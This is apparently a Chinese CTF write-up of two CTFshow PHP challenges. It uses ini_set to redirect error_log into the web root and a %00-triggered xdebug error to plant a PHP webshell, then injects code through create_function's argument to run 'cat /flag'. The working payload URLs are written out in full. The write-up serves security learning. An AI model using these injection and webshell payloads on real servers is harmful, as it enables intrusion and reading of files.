CTFshow 限时活动 红包挑战7、红包挑战8

CTFshow红包挑战7

写不出来一点,还是等了官方wp之后才复现。

直接给了源码

php 复制代码
<?php
highlight_file(__FILE__);
error_reporting(2);

extract($_GET);
ini_set($name,$value);

system(
    "ls '".filter($_GET[1])."'"
);

function filter($cmd){
    $cmd = str_replace("'","",$cmd);
    $cmd = str_replace("\\","",$cmd);
    $cmd = str_replace("`","",$cmd);
    $cmd = str_replace("$","",$cmd);
    return $cmd;
}

extract:从数组中将变量导入到当前的符号表

ini_set:为一个配置选项设置值(我们可以修改配置项)

报错等级是2。他限定只能使用ls 什么什么,而且filter自定义函数过滤了'\ 、`` $这四个字符。不好使用闭合来绕过对getshell`的限制。

既然ls 什么什么里面的什么什么可以控制,那就先遍历目录来看看吧。

复制代码
?1=/usr/local/lib/php/extensions/no-debug-non-zts-20180731/

当前环境存在5个扩展,包含xdebug。分别是mysqli.so opcache.so pdo_mysql.so sodium.so xdebug.so


PHP版本是7.3.22


输入?1=/,服务端内部语句拼接为ls '/'。返回了根目录下所有文件。

flag应该就在flag文件中


开始思索题目。感觉关键代码是这三句:

php 复制代码
//不同寻常的报错等级
error_reporting(2);

//修改$name,$value
extract($_GET);

//开启某个配置项
ini_set($name,$value);

程序执行期间的ini_set不能disable_functions ,无法直接禁用str_replace函数


知识点:

xdebug在处理截断问题的时候,会将异常payload回显。而system刚好可以用0字节(%00或者\000)进行截断来触发异常。

思路:

通过触发异常后,将回显的内容(可控)写入到web目录(修改配置项,把报错写入自定义报错日志)。即可实现写马到文件。

php 复制代码
ini_set("display_errors", "On");//打开错误提示,与题目无关,只是扩展
ini_set("error_reporting",E_ALL);//显示所有错误,与题目无关,只是扩展

ini_set("error_log",""/var/www/html/1.php");
//把报错信息写入web目录下的1.php文件中

尝试看看报错,%00确实能截断导致报错。

payload:

php 复制代码
?name=error_log&value=/var/www/html/1.php&1=%00<?php system("cat /f*");?>

可以发现,报错已经写入自定义的报错日志,同时,报错代码被自动执行了。


此外,官方wp还给了一种造成报错的方法:

php 复制代码
/?name=error_log&value=1.php
&1=("%0C%08%00%00"^"`{ %2f")<?php system("cat /*");?>
复制代码
("%0C%08%00%00"^"`{ %2f")

即

EKc ^

URL编码后

EKc%20%02^

但是直接

复制代码
?name=error_log&value=1.php
&1=EKc%20%02^<?php system("cat /*");?>

是无法造成报错的,这种造成报错方式有待细细研究。

CTFshow红包挑战8

考点:PHP create_function

扩展练习(相关题目):NSS [NISACTF 2022]level-up

源码直接给了。

php 复制代码
<?php

highlight_file(__FILE__);
error_reporting(0);

extract($_GET);
create_function($name,base64_encode($value))();
?>

create_function($name,base64_encode($value))();相当于创建匿名函数后直接执行。就像nmhs();这样。

其中,$name是参数,base64_encode($value)是要执行的代码段,但是这里base64编码过了,执行不了。

可以看作如下代码:(片段1)【一定要当作函数片段来看,而不是一行有参数的函数调用】

php 复制代码
nmhs($name){
	base64_encode($value)
}

那我就不要base64_encode($value),直接从$name开始构造。

先看看payload:

复制代码
?value=Jay17&name=){}phpinfo();/*

我们把payload中$name带入片段1。

php 复制代码
片段1:
nmhs($name){
	base64_encode($value)
}
php 复制代码
带入$name
nmhs(){}phpinfo();/*){
	base64_encode($value)
}
php 复制代码
整理一下
nmhs(){
    
}phpinfo();
/*){
	base64_encode($value)
}

最终payload:

复制代码
?value=Jay17&name=){}system("cat /flag");/*
相关推荐
懒人村杂货铺5 分钟前
Android BLE 扫描完整实战
android
悠悠~飘40 分钟前
php简介(第一天打卡)
php
TeleostNaCl2 小时前
如何安装 Google 通用的驱动以便使用 ADB 和 Fastboot 调试(Bootloader)设备
android·经验分享·adb·android studio·android-studio·android runtime
fatiaozhang95273 小时前
中国移动浪潮云电脑CD1000-系统全分区备份包-可瑞芯微工具刷机-可救砖
android·网络·电脑·电视盒子·刷机固件·机顶盒刷机
房屋安全鉴定检测4 小时前
房屋安全鉴定报告有效期多久
安全·网络安全
心 一4 小时前
Web安全基石:深入理解与防御SQL注入漏洞
sql·安全·web安全
久绊A4 小时前
Hydra-SSH 破解安全防范
开发语言·php
黑白世界46484 小时前
开源分享: php-tools php gui的一次尝试
后端·php
2501_915918414 小时前
iOS 开发全流程实战 基于 uni-app 的 iOS 应用开发、打包、测试与上架流程详解
android·ios·小程序·https·uni-app·iphone·webview
lichong9514 小时前
【混合开发】vue+Android、iPhone、鸿蒙、win、macOS、Linux之dist打包发布在Android工程asserts里
android·vue.js·iphone